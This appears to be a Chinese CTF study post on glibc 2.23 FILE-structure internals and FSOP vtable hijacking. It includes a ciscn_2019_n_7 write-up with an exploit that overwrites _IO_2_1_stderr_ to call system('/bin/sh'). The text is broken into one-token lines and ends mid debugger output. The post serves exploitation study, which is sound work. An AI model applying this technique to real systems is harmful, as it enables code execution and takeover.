在线看glibc源码:https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/
如果没有特别说明,下面涉及的源码和例子均是基于2.23版本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
|
typedef struct _IO_FILE
FILE
;
/
/
IO_FILE结构体
struct _IO_FILE {
int
_flags;
/
*
High
-
order word
is
_IO_MAGIC; rest
is
flags.
*
/
#define _IO_file_flags _flags
/
*
The following pointers correspond to the C
+
+
streambuf protocol.
*
/
/
*
Note: Tk uses the _IO_read_ptr
and
_IO_read_end fields directly.
*
/
char
*
_IO_read_ptr;
/
*
Current read pointer
*
/
char
*
_IO_read_end;
/
*
End of get area.
*
/
char
*
_IO_read_base;
/
*
Start of putback
+
get area.
*
/
char
*
_IO_write_base;
/
*
Start of put area.
*
/
char
*
_IO_write_ptr;
/
*
Current put pointer.
*
/
char
*
_IO_write_end;
/
*
End of put area.
*
/
char
*
_IO_buf_base;
/
*
Start of reserve area.
*
/
char
*
_IO_buf_end;
/
*
End of reserve area.
*
/
/
*
The following fields are used to support backing up
and
undo.
*
/
char
*
_IO_save_base;
/
*
Pointer to start of non
-
current get area.
*
/
char
*
_IO_backup_base;
/
*
Pointer to first valid character of backup area
*
/
char
*
_IO_save_end;
/
*
Pointer to end of non
-
current get area.
*
/
struct _IO_marker
*
_markers;
struct _IO_FILE
*
_chain;
int
_fileno;
#if 0
int
_blksize;
#else
int
_flags2;
#endif
_IO_off_t _old_offset;
/
*
This used to be _offset but it's too small.
*
/
#define __HAVE_COLUMN /* temporary */
/
*
1
+
column number of pbase();
0
is
unknown.
*
/
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[
1
];
/
*
char
*
_save_gptr; char
*
_save_egptr;
*
/
_IO_lock_t
*
_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
/
/
IO_FILE_complete结构体,在_IO_FILE后面加了一些字段
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/
*
Wide character stream stuff.
*
/
struct _IO_codecvt
*
_codecvt;
struct _IO_wide_data
*
_wide_data;
struct _IO_FILE
*
_freeres_list;
void
*
_freeres_buf;
# else
void
*
__pad1;
void
*
__pad2;
void
*
__pad3;
void
*
__pad4;
# endif
size_t __pad5;
int
_mode;
/
*
Make sure we don't get into trouble again.
*
/
char _unused2[
15
*
sizeof (
int
)
-
4
*
sizeof (void
*
)
-
sizeof (size_t)];
#endif
};
/
/
stdin、stdout……
extern struct _IO_FILE_plus _IO_2_1_stdin_;
FILE
*
stdin
=
(
FILE
*
) &_IO_2_1_stdin_;
/
/
虽然stdin的类型是
FILE
*
,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plus
FILE
*
stdout
=
(
FILE
*
) &_IO_2_1_stdout_;
/
/
...
/
/
_IO_FILE_plus结构体
struct _IO_FILE_plus
{
FILE
file
;
const struct _IO_jump_t
*
vtable;
};
/
/
_IO_jump_t结构体(虚函数表)
/
/
路径:
/
libio
/
libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/
*
showmany
*
/
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/
/
JUMP_FIELD宏
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
/
*
*
以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看
TYPE
:
_IO_xsgetn_t
typedef _IO_size_t (
*
_IO_xsgetn_t) (_IO_FILE
*
FP, void
*
DATA, _IO_size_t N);
/
/
定义了一个函数指针
:NAME
__xsgetn
因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)
<
=
=
> _IO_xsgetn_t __xsgetn
/
/
即给函数指针取别名 __xsgetn
*
*
/
|
强烈推荐阅读下面几篇文章:
fwrite:
fclose:
对 IO_FILE
相关几个关键函数的分析可见上面列出的文章。我在此做一点可能是对做题无关紧要的补充及疑问:
前面分析了JUMP_FIELD
,知道结构体_IO_jump_t
中都是函数指针,但是这些函数指针在哪里被赋值去和它们对应的函数实现绑定的?是在做什么初始化的时候?
在分析fread函数的时候,走到 fread -> _IO_sgetn -> _IO_XSGETN
的时候,应该是因为这对做题可能关系不大,我看文章都没有分析宏 _IO_XSGETN
。
_IO_sgetn -> _IO_XSGETN
这一步仅三行汇编,而后跳转到_IO_file_xsgetn
,但是对应的汇编却显示函数名是__GI__IO_file_xsgetn
,我在后面静态分析代码的时候没有发现这是为什么,希望有知道的大佬告诉本菜鸡。gdb调试走到调用宏_IO_XSGETN
的地方:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
0x7ffff7a88710
<_IO_sgetn> mov rax, qword ptr [rdi
+
0xd8
]
0x7ffff7a88717
<_IO_sgetn
+
7
> mov rax, qword ptr [rax
+
0x40
]
0x7ffff7a8871b
<_IO_sgetn
+
11
> jmp rax
↓
►
0x7ffff7a85ed0
<__GI__IO_file_xsgetn> push r14
0x7ffff7a85ed2
<__GI__IO_file_xsgetn
+
2
> push r13
0x7ffff7a85ed4
<__GI__IO_file_xsgetn
+
4
> mov r14, rsi
0x7ffff7a85ed7
<__GI__IO_file_xsgetn
+
7
> push r12
0x7ffff7a85ed9
<__GI__IO_file_xsgetn
+
9
> push rbp
0x7ffff7a85eda
<__GI__IO_file_xsgetn
+
10
> mov r13, rdx
0x7ffff7a85edd
<__GI__IO_file_xsgetn
+
13
> push rbx
0x7ffff7a85ede
<__GI__IO_file_xsgetn
+
14
>
cmp
qword ptr [rdi
+
0x38
],
0
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In
file
:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio
/
fileops.c
1355
}
1356
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
1357
1358
_IO_size_t
1359
_IO_file_xsgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
►
1360
{
1361
_IO_size_t want, have;
1362
_IO_ssize_t count;
1363
char
*
s
=
data;
1364
1365
want
=
n;
|
_IO_XSGETN
宏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
/
*
*
_IO_sgetn函数
fread
-
> _IO_sgetn
-
> _IO_XSGETN
路径:
/
libio
/
genops.c
*
*
/
_IO_size_t
_IO_sgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
{
/
*
FIXME handle putback
buffer
here!
*
/
return
_IO_XSGETN (fp, data, n);
/
/
/
/
/
/
/
/
/
/
call _IO_XSGETN
}
libc_hidden_def (_IO_sgetn)
/
*
*
宏 _IO_XSGETN
路径:
/
libio
/
libioP.h
*
*
/
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
/
*
*
宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数
JUMP2
=
(_IO_JUMPS_FUNC(THIS)
-
>FUNC)
路径:
/
libio
/
libioP.h
*
*
/
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) ////////// call JUMP2
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
/
*
*
宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址
路径:
/
libio
/
libioP.h
分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable
然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体
最后返回:_IO_FILE_plus 结构体地址
+
vtable的偏移
*
*
/
# define _IO_JUMPS_FUNC(THIS) \
(
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (THIS) \
+
(THIS)
-
>_vtable_offset))
/
*
*
宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址
路径:
/
libio
/
libioP.h
*
*
/
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
/
/
这里可以明确是 _IO_FILE_plus 结构体
/
*
Essentially ((
TYPE
*
) THIS)
-
>MEMBER, but avoiding the aliasing
violation
in
case THIS has a different pointer
type
.
路径:
/
libio
/
libioP.h
*
/
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(
*
(_IO_MEMBER_TYPE (
TYPE
, MEMBER)
*
)(((char
*
) (THIS)) \
+
offsetof(
TYPE
, MEMBER)))
/
*
Type
of MEMBER
in
struct
type
TYPE
.
路径:
/
libio
/
libioP.h
typeof关键字:https:
/
/
blog.csdn.net
/
u012066426
/
article
/
details
/
50788984
?spm
=
1001.2101
.
3001.6661
.
1
&utm_medium
=
distribute.pc_relevant_t0.none
-
task
-
blog
-
2
%
7Edefault
%
7ECTRLIST
%
7ERate
-
1
-
50788984
-
blog
-
86496346.pc_relevant_layerdownloadsortv1
&depth_1
-
utm_source
=
distribute.pc_relevant_t0.none
-
task
-
blog
-
2
%
7Edefault
%
7ECTRLIST
%
7ERate
-
1
-
50788984
-
blog
-
86496346.pc_relevant_layerdownloadsortv1
*
/
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
/
*
*
综上,不断展开宏 _IO_XSGETN 看一下:
_IO_XSGETN(FP, DATA, N)
<
=
=
> JUMP2 (__xsgetn, FP, DATA, N)
<
=
=
> (_IO_JUMPS_FUNC(FP)
-
>__xsgetn) (FP, DATA, N)
/
/
可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (FP)
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
/
/
下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &( (
*
(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable)
*
)(((char
*
) (FP))
+
offsetof(struct _IO_FILE_plus, vtable))))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &( (
*
(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable)
*
)(((char
*
) (FP))
+
offsetof(struct _IO_FILE_plus, vtable))))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
*
*
/
|
最后,总结一下上面提到的《IO FILE之fxxxx详解》四篇文章:
IO FILE结构体包括两个堆结构,一个是保存IO FILE结构体的堆,一个是输入输出缓冲区的堆。
1
2
3
4
5
6
7
8
9
10
11
12
|
/
/
函数原型:
FILE
*
fopen(const char
*
filename, const char
*
mode);
/
/
调用链:
fopen(_IO_new_fopen)
-
> __fopen_internal
-
> malloc
/
/
分配内存空间
-
> _IO_no_init
/
/
对
FILE
结构体进行null初始化。
-
> _IO_file_init
/
/
将
FILE
结构体链接进入_IO_list_all链表
-
> _IO_file_fopen
/
/
执行系统调用
open
打开文件,并将文件描述符赋值给
FILE
结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。
/
/
未调用vtable中的函数
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
/
/
函数原型:
size_t fread(void
*
ptr, size_t size, size_t nmemb,
FILE
*
stream);
/
/
调用链:
fread(_IO_fread)
-
> _IO_sgetn (_IO_XSGETN(宏))
-
> _IO_file_xsgetn(__GI__IO_file_xsgetn)
/
/
fread读入数据的核心函数
-
> _IO_doallocbuf
-
> _IO_file_doallocate
/
/
初始化
FILE
结构体中的指针,建立输入缓冲区
-
> __underflow
-
> _IO_file_underflow
/
/
调用系统调用读入数据
/
/
_IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:
/
/
第一部分是fp
-
>_IO_buf_base为空的情况,表明此时的
FILE
结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。
/
/
第二部分是输入缓冲区里有输入,即fp
-
>_IO_read_ptr小于fp
-
>_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。
/
/
第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。
/
/
调用vtable中的函数:
/
/
1
、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。
/
/
2
、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
/
/
3
、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
/
/
4
、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
/
/
5
、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
/
/
函数原型:
size_t fwrite(const void
*
ptr, size_t size, size_t nmemb,
FILE
*
stream)
/
/
调用链:
fwrite(_IO_fwrite)
-
> _IO_sputn (_IO_XSPUTN)
-
> _IO_new_file_xsputn
/
/
1
、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。
/
/
2
、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。
-
> _IO_OVERFLOW
-
> __overflow(_IO_new_file_overflow)
-
>
/
/
2.1
判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回
-
> _IO_doallocbuf
-
> _IO_file_doallocate
/
/
2.2
.
1
判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配
-
> _IO_setg
/
/
2.2
.
2
接
2.2
,如果为空,分配输出缓冲区后,设置read相关的三个指针
-
>
/
/
2.3
初始化其他指针,最主要的是write相关的三个指针
-
> _IO_do_write(_IO_new_do_write)
/
/
2.4
调用系统调用write输出输出缓冲区,输出的内容为f
-
>_IO_write_ptr到f
-
>_IO_write_base之间的内容
-
> _IO_SYSWRITE
-
> __write(_IO_new_file_write)
-
> write
/
/
3
、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。
/
/
4
、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。
-
> _IO_default_xsputn
/
/
调用vtable中的函数
/
/
1
、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。
/
/
2
、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
/
/
3
、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。
/
/
4
、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。
/
/
5
、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
/
/
函数原型:
int
fclose(
FILE
*
stream)
/
/
调用链:
fclose(_IO_new_fclose)
-
> _IO_un_link
/
/
将
FILE
结构体从_IO_list_all链表中取下
-
> _IO_file_close_it
/
/
关闭文件并释放缓冲区
-
> _IO_file_is_open
/
/
_IO_file_is_open宏检查该文件是否处于打开的状态
-
> _IO_do_flush
/
/
_IO_do_flush 刷新此时的输出缓冲区
-
> _IO_do_write
/
/
调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。
-
> _IO_SYSCLOSE
-
> __close
-
> _IO_setb
/
/
设置结构体的buf指针,并释放缓冲区
-
> _IO_setg
/
/
设置read相关的指针
-
> _IO_setp
/
/
设置write相关的指针
-
> _IO_un_link
/
/
确保
FILE
结构体已从_IO_list_all中取下
-
> _IO_FINISH
/
/
进行最后的确认,确认
FILE
结构体从链表中删除以及缓冲区被释放
-
> __finish
-
> free
/
/
free释放IO_FILE结构体内存
/
/
调用vtable中的函数:
/
/
1
、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
/
/
2
、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
/
/
3
、_IO_FINISH函数为vtable中的__finish函数。
|
通过_IO_FILE *_chain
实现链表结构,头部是全局变量_IO_list_all
_IO_FILE
攻击如果能够控制_IO_FILE_plus
结构体,实现对vtable指针的修改,使得vtable指向可控的内存,在该内存中构造好vtable,再通过调用相应IO函数,触发vtable函数的调用,即可劫持程序执行流。
劫持最关键的点在于修改IO FILE结构体的vtable指针,指向可控内存。一般来说有两种方式:一种是只修改内存中已有FILE结构体的vtable字段;另一种则是伪造整个FILE结构体。当然,两种的本质最终都是修改了vtable字段。
例子可参考:
FSOP(File Stream Oriented Programming)的核心思想就是劫持_IO_list_all
的值来伪造链表和其中的_IO_FILE
项,但是单纯的伪造只是构造了数据,还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
_IO_flush_all_lockp
被系统调用的时机
当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时
_IO_flush_all_lockp
中调用_IO_OVERFLOW
的条件,根据短路原理可知需满足:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
1
2
3
4
5
|
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base))
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
{
result
=
EOF;
}
|
_IO_list_all
的地址_IO_FILE
和vtable
_IO_list_all
的内容改为指向可控内存的指针
1
2
3
4
5
6
7
8
9
10
|
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
ciscn_2019_n_7$ ls
ciscn_2019_n_7 log.txt
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
ciscn_2019_n_7$ .
/
ciscn_2019_n_7
1.add
page
2.edit
page
3.show
page
4.exit
Your choice
-
>
Alarm clock
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
__int64 __fastcall main(__int64 a1, char
*
*
a2, char
*
*
a3)
{
int
v3;
/
/
eax
__int64 v4;
/
/
rdx
__int64 v5;
/
/
rcx
bool
v6;
/
/
zf
bool
v7;
/
/
sf
unsigned __int8 v8;
/
/
of
sub_CA0();
LABEL_2:
while
(
2
)
{
while
(
1
)
{
v3
=
sub_D80(a1, a2);
v8
=
__OFSUB__(v3,
3
);
v6
=
v3
=
=
3
;
v7
=
v3
-
3
<
0
;
if
( v3 !
=
3
)
break
;
LABEL_7:
show();
/
/
3
-
show
}
while
( (unsigned __int8)(v7 ^ v8) | v6 )
{
if
( v3
=
=
1
)
/
/
1
-
add
{
add();
goto LABEL_2;
}
if
( v3 !
=
2
)
goto LABEL_11;
edit();
/
/
2
-
edit
v3
=
sub_D80(a1, a2);
v8
=
__OFSUB__(v3,
3
);
v6
=
v3
=
=
3
;
v7
=
v3
-
3
<
0
;
if
( v3
=
=
3
)
goto LABEL_7;
}
if
( v3
=
=
4
)
exit_();
/
/
4
-
exit_
if
( v3
=
=
666
)
{
sub_C50(a1, (__int64)a2, v4, v5);
/
/
666
-
打印puts函数地址
continue
;
}
break
;
}
LABEL_11:
puts(
"NO, Please continue! "
);
return
0LL
;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
unsigned
int
sub_CA0()
{
FILE
*
v0;
/
/
rbx
char v1;
/
/
al
unsigned
int
result;
/
/
eax
unsigned __int64 v3;
/
/
rt1
unsigned __int64 v4;
/
/
[rsp
+
8h
] [rbp
-
20h
]
v4
=
__readfsqword(
0x28u
);
v0
=
fopen(
"log.txt"
,
"r"
);
while
(
1
)
{
v1
=
fgetc(v0);
if
( v1
=
=
-
1
)
break
;
IO_putc(v1, stdout);
}
fclose(v0);
setvbuf(stdout,
0LL
,
2
,
0LL
);
setvbuf(stdin,
0LL
,
1
,
0LL
);
setvbuf(stderr,
0LL
,
1
,
0LL
);
global
=
malloc(
0x18uLL
);
/
/
malloc了一个chunk给全局变量
v3
=
__readfsqword(
0x28u
);
result
=
v3 ^ v4;
if
( v3
=
=
v4 )
result
=
alarm(
0x3Cu
);
return
result;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
unsigned __int64 add()
{
int
len_;
/
/
eax
_QWORD
*
v1;
/
/
r12
__int64
len
;
/
/
[rsp
+
0h
] [rbp
-
28h
]
unsigned __int64 v4;
/
/
[rsp
+
8h
] [rbp
-
20h
]
v4
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
puts(aExists);
}
else
{
puts(
"Input string Length: "
);
read(
0
, &
len
,
8uLL
);
len_
=
strtol((const char
*
)&
len
,
0LL
,
10
);
if
( (unsigned __int64)len_ >
0x100
)
{
puts(
"Large!"
);
}
else
{
v1
=
global
;
*
global
=
len_;
v1[
2
]
=
malloc(len_);
unk_202014
=
1
;
puts(
"Author name:"
);
read(
0
,
global
+
1
,
0x10uLL
);
/
/
输入
0x10
长度的author name,可以覆盖article指针
puts(
"Now,you can edit your article."
);
}
}
return
__readfsqword(
0x28u
) ^ v4;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
int
edit()
{
int
result;
/
/
eax
unsigned __int64 v1;
/
/
rt1
unsigned __int64 v2;
/
/
rt1
unsigned __int64 v3;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v3
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
puts(aNew);
read(
0
,
global
+
1
,
0x10uLL
);
/
/
同add一样,可溢出修改article指针
puts(
"New contents:"
);
read(
0
, (void
*
)
global
[
2
],
*
global
);
/
/
从这可以看出文章内容存在
global
[
2
],若溢出,则可任意地址写
v1
=
__readfsqword(
0x28u
);
result
=
v1 ^ v3;
if
( v1
=
=
v3 )
result
=
puts(
"Over."
);
}
else
{
v2
=
__readfsqword(
0x28u
);
result
=
v2 ^ v3;
if
( v2
=
=
v3 )
result
=
puts(
"Dont't exists."
);
}
return
result;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
int
show()
{
int
result;
/
/
eax
unsigned __int64 v1;
/
/
rt1
unsigned __int64 v2;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v2
=
__readfsqword(
0x28u
);
if
( unk_202014 )
{
result
=
(signed
int
)
global
;
if
( __readfsqword(
0x28u
)
=
=
v2 )
result
=
_printf_chk(
1LL
,
"%s\nAuthor:%s\n"
,
global
[
2
],
global
+
1
);
}
else
{
v1
=
__readfsqword(
0x28u
);
result
=
v1 ^ v2;
if
( v1
=
=
v2 )
result
=
puts(
"Dont't exists."
);
}
return
result;
}
|
1
2
3
4
5
6
|
void __noreturn exit_()
{
close(
1
);
close(
2
);
exit(
0
);
}
|
1
2
3
4
|
int
close(
int
fd)
{
return
close(fd);
}
|
1
2
3
4
5
6
|
__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__readfsqword(
0x28u
);
__readfsqword(
0x28u
);
return
_printf_chk(
1LL
, &unk_10D4, &puts, a4);
}
|
fsop攻击思路:
exit_ 函数关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp
;或者随意输入一个不在菜单上的选项,让程序走main函数的return 0
,也会调用_IO_flush_all_lockp
(我用后一种思路成功了,前一种未找到原因,就是不成功)。
修改article指针到 _IO_2_1_stderr_
,布置绕过需要的数据;在适当位置写入 system ,将 vtable 劫持到这个空间上,完成劫持 _IO_flush_all_lockp
为 system 。
_IO_2_1_stderr_
时将/bin/sh
写到 _IO_FILE
的头部,调用虚函数时 _IO_FILE 是第一个参数。因为 vtable 中的函数调用时会把对应的
_IO_FILE_plus
指针作为第一个参数传递,因此这里我们把 "sh" 写入_IO_FILE_plus
头部。
调试查看结构体:
1
|
p
*
((struct [结构体类型]
*
) [地址])
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
dbg()
|
1
2
3
4
|
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
dbg()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x5646d0338000
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x5646d0338020
Size:
0x101
Top chunk | PREV_INUSE
Addr:
0x5646d0338120
Size:
0x20ee1
pwndbg> x
/
8gx
0x5646d0338000
0x5646d0338000
:
0x0000000000000000
0x0000000000000021
0x5646d0338010
:
0x00000000000000f8
0x6161616161616161
0x5646d0338020
:
0x00007f09704ab540
0x0000000000000101
article指针已经被覆盖为指向_IO_2_1_stderr_
0x5646d0338030
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
gx
0x00007f09704ab540
0x7f09704ab540
<_IO_2_1_stderr_>:
0x00000000fbad2284
|
_IO_2_1_stderr_
的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
payload
=
'/bin/sh\x00'
+
p64(
0
)
*
3
+
p64(
0
)
+
p64(
1
)
#0x30
payload
+
=
p64(
0
)
*
4
+
p64(system)
*
4
#p64(libc_base+0x4526a)*4#0x50-0x70
payload
=
payload.ljust(
0xd8
,
'\x00'
)
payload
+
=
p64(IO_2_1_stderr
+
0x40
)
edit(
'a\n'
, payload)
dbg()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
pwndbg> p _IO_2_1_stderr_
$
1
=
{
file
=
{
_flags
=
-
72539516
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x0
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
_IO_save_base
=
0x0
